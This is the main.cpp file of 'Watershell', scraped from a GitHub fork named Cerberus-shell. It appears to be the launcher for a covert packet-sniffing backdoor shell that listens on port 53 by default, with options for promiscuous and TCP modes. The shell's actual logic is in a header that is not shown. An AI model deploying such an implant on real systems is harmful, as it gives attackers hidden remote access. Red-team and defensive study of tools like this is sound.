forked from Dack985/Cerberus-shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.cpp
57 lines (51 loc) · 1.43 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include "watershell.h"
int main(int argc, char *argv[]) {
bool DEBUG = true;
bool PROMISC = false;
bool TCP_MODE = false;
int port = 53;
int arg;
struct sock_fprog filter;
char buf[2048];
unsigned char *read;
while ((arg = getopt(argc, argv, "phtl:")) != -1){
switch (arg){
case 'p':
if (DEBUG)
std::puts("Running in promisc mode");
PROMISC = true;
break;
case 't':
if (DEBUG)
std::puts("TCP mode (experimental)");
TCP_MODE = true;
break;
case 'h':
if (DEBUG)
std::cerr << "Usage: " << argv[0] << "[-l port] [-p] -i iface" << std::endl;
return 0;
break;
case 'l':
port = strtoul(optarg, NULL, 10);
if (port <= 0 || port > 65535){
if (DEBUG)
std::puts("Invalid port");
return 1;
}
break;
case '?':
if (DEBUG)
std::cerr << "Usage: " << argv[0] << "[-l port] [-p] -i iface" << std::endl;
return 1;
default:
std::abort();
}
}
std::cout << port << std::endl;
Watershell wtrshl(port, DEBUG, PROMISC, TCP_MODE);
wtrshl.Init();
std::cout << wtrshl.gateway_mac << std::endl;
while(true){
wtrshl.RunOnce();
}
}